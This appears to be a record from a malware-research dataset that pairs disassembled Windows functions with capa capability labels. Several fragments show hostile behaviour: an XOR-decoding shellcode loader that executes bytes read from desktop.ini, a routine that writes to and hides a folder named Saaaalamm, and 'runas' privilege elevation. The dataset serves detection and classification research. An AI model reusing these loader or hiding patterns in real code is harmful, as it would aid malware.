joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402060
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412d2b
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x9c]
push eax
call fcn.00401fed
pop ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
and dword [ebp - 4], 0
push dword [ebp - 0x44]
push 0x418778
lea eax, [ebp - 0x6c]
push eax
call fcn.00402d8b
add esp, 0xc
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 1
push 0x418774
push dword [ebp - 0x40]
lea eax, [ebp - 0x28]
push eax
call fcn.00402d58
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.004022ea
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x9c]
call fcn.004022ea
push 0
lea ecx, [ebp - 0x28]
call fcn.00402343
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x402140
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xb4]
call fcn.004021f1
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x2c]
or eax, 1
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
jmp 0x402162
push 0x4185a5
lea ecx, [ebp - 0x84]
call fcn.0040226d
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
or eax, 2
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x3c]
mov ecx, dword [ebp + 8]
call fcn.004022a6
mov eax, dword [ebp - 0x2c]
or eax, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
and eax, 2
je 0x402193
and dword [ebp - 0x2c], 0xfffffffd
lea ecx, [ebp - 0x84]
call fcn.004022ea
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x2c]
and eax, 1
je 0x4021b1
and dword [ebp - 0x2c], 0xfffffffe
lea ecx, [ebp - 0xb4]
call fcn.004022ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004022ea
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004033d5
mov esp, ebp
pop ebp
ret
Function at 0x4031b0
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.00402610
mov edi, eax
lea edx, [edi + 2]
push edx
call fcn.00404067
add esp, 4
mov ecx, esi
mov ebx, eax
call fcn.00402343
push eax
lea ecx, [edi + 1]
push ecx
push ebx
call fcn.00404122
mov word [ebx + edi], 0
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x20], xmm0
add esp, 0xc
mov eax, 0x614
movq qword [ebp - 0x10], xmm0
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
mov word [ebp - 8], 0
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x12], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push ebx
mov esi, eax
call fcn.0040411d
mov ecx, dword [ebp - 4]
add esp, 4
xor eax, eax
test esi, esi
sete al
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004033d5
mov esp, ebp
pop ebp
ret

Function at 0x403260
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x4187ac
movzx eax, dx
push eax
push edi
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 0xc]
mov esi, eax
push 0x4187b0
call fcn.00402343
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040423b
push dword [ebp - 8]
push 1
push esi
push ebx
call fcn.004043d9
push dword [ebp - 8]
call fcn.004044c7
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004033d5
mov esp, ebp
pop ebp
ret
Function at 0x4032f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push edi
push 0x38
mov dword [ebp - 0x44], eax
mov edi, ecx
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.0040a3d0
add esp, 0xc
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x40
mov dword [ebp - 0x38], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov dword [ebp - 0x30], edi
mov eax, dword [ebp + 0xc]
mov edx, str.runas
mov ecx, 0x4187a8
mov dword [ebp - 0x2c], ebx
cmove ecx, edx
mov dword [ebp - 0x28], esi
neg eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x20], 0
sbb eax, eax
and eax, 5
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x4033c2
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x44]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004033d5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004033d5
mov esp, ebp
pop ebp
ret
Function at 0x40c9d4
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408714
mov dword [ebp - 0x14], eax
cmp dword [0x41c210], esi
jne 0x40cac7
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40ca54
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40cba7
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40cba7
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cba7
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x41c210], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x41c214], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x41c218], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41c220], eax
test eax, eax
je 0x40cac4
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41c21c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40caec
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40cadf
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40cb01
push 4
pop eax
jmp 0x40cba9
cmp dword [ebp - 0x14], esi
je 0x40cb01
push dword [0x41c210]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40cae6
mov eax, dword [0x41c21c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40cb5f
cmp dword [0x41c220], edi
je 0x40cb5f
push eax
call ebx
push dword [0x41c220]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40cb5f
test eax, eax
je 0x40cb5f
call ecx
test eax, eax
je 0x40cb54
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40cb54
test byte [ebp - 8], 1
jne 0x40cb5f
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40cb8f
mov eax, dword [0x41c214]
cmp eax, edi
je 0x40cb8c
push eax
call ebx
test eax, eax
je 0x40cb8c
call eax
mov esi, eax
test esi, esi
je 0x40cb8c
mov eax, dword [0x41c218]
cmp eax, edi
je 0x40cb8c
push eax
call ebx
test eax, eax
je 0x40cb8c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x41c210]
call ebx
test eax, eax
je 0x40cba7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40cba9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004033d5
mov esp, ebp
pop ebp
ret
Function at 0x401450
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40147a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x40147e
xor eax, eax
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x10]
push 1
mov dword [ecx], eax
pop eax
pop esi
ret

Function at 0x401499
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
xor edi, edi
push edi
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call esi
test eax, eax
jne 0x4014da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x4014ed
push 8
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
call esi
test eax, eax
je 0x4014ed
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4014f1
xor eax, eax
jmp 0x401503
cmp dword [ebp - 4], edi
je 0x401500
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
leave
ret
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], 0x402480
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d0f0
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.dll_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call fcn.0043b498
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00431780
mov dword [esp + 4], 8
mov dword [esp], 4
call fcn.0043b498
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call fcn.00431780
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call fcn.00424f30
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call fcn.00428a20
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call fcn.00431690
lea eax, [ebp - 0x118]
mov dword [esp], eax
call fcn.00431690
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call fcn.004321f0
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call fcn.004321f0
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d1d0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4040d6
mov dword [0x4451d0], eax
mov edx, 0x404080
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret

Function at 0x4041c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], 0x402480
mov dword [ebp - 0x24], 0x43c6d4
mov dword [ebp - 0x1c], 0x404280
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.0040d0f0
cmp dword [0x43d0f0], 0
mov dword [ebp - 0x44], 0x4451e0
je 0x404260
jl 0x4042a0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x4451d0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x404343
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4457f0]
mov eax, 0xffffffff
test edx, edx
je 0x4042ba
mov eax, dword [0x43d0f4]
test eax, eax
je 0x4042fa
xor eax, eax
test eax, eax
jne 0x4042f0
mov edi, dword [0x43d0f0]
test edi, edi
js 0x4042f0
mov dword [ebp - 0x44], 0x4451e0
mov ebx, dword [0x43d0f0]
test ebx, ebx
je 0x404260
jmp 0x40420e
xor esi, esi
mov dword [0x43d0f0], esi
jmp 0x4042c8
mov dword [esp], 0x43d0f8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.dll_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x404381
mov eax, dword [0x43d0f4]
test eax, eax
jne 0x4042b8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43d0f4]
test eax, eax
je 0x40431d
jmp 0x4042b8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x404375
mov dword [esp + 4], eax
mov eax, dword [0x4451d0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x4043aa
test edx, edx
je 0x404395
mov dword [ebp - 0x3c], 1
call fcn.00403c20
call fcn.004040a0
mov eax, 1
mov dword [0x43d0f4], eax
jmp 0x4042b8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x404256
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
jmp 0x404371
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.004099d0
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x409a3c
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x409a10
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call fcn.0040cc80
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.004015fe
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0
Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret

Function at 0x40d3d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x445850]
mov edi, dword [ebp + 8]
test eax, eax
je 0x40d4ac
mov ecx, dword [eax + 0x30]
test ecx, ecx
js 0x40d4c1
mov edx, dword [eax + 0x30]
test edx, edx
jne 0x40d480
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea ebx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x40d418
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
xor ecx, ecx
test eax, eax
mov edx, 5
je 0x40d428
mov ecx, dword [eax + 0x18]
xor edx, edx
cmp edx, 5
je 0x40d473
test edx, edx
jne 0x40d466
test ecx, ecx
je 0x40d410
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov eax, dword [edi]
mov edx, dword [edi + 4]
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, 1
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
call ecx
cmp eax, 6
je 0x40d4d0
cmp eax, 8
je 0x40d410
mov eax, 3
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, 5
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x40d402
call fcn.0040cda0
mov eax, dword [0x445850]
mov ecx, dword [eax + 0x30]
test ecx, ecx
jns 0x40d3f4
call fcn.0040d040
mov eax, dword [0x445850]
jmp 0x40d3f4
mov dword [edi + 0xc], 0
mov eax, dword [ebp - 0x14]
mov edx, ebx
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, edi
call fcn.0040d340
cmp eax, 7
jne 0x40d46b
mov eax, dword [0x445850]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40d523
mov edi, dword [eax + 0x30]
test edi, edi
js 0x40d54e
mov esi, dword [eax + 0x30]
test esi, esi
jne 0x40d52f
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call fcn.0040cda0
mov eax, dword [0x445850]
jmp 0x40d501
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x40d512
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40d512
call fcn.0040d040
mov eax, dword [0x445850]
jmp 0x40d508